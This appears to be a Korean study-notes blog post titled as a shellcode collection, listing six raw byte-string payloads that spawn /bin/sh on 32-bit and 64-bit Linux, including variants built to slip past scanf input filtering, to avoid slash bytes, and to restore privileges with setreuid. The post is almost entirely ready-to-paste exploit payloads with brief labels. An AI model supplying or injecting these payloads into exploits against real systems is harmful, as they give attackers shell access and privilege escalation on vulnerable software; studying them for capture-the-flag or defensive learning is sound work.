본문 바로가기

개념정리/System Hacking

[System Hacking] 쉘 코드 모음(32비트, 64비트)

1. 32비트 쉘 코드

  • 25 Bytes Shell Code (기본)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


  • 26 Bytes Shell Code (scanf 우회 : scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못한다.)

    \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


  • 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함)

    \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


  • 48 Bytes Shell Code (\x2f 없는 쉘 코드)

    \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


2. 64비트 쉘 코드

  • 23 Bytes Shell Code

    \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05


  • 31 Bytes Shell Code

    \x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05

 

'개념정리 > System Hacking' 카테고리의 다른 글

[System Hacking] Stack Buffer Overflow  (0) 2022.08.09
[System Hacking] 함수 호출 규약  (0) 2022.08.09
[System Hacking] Shellcode  (0) 2022.08.02
6. pwntools  (0) 2022.08.01
5. gdb 디버거  (0) 2022.07.21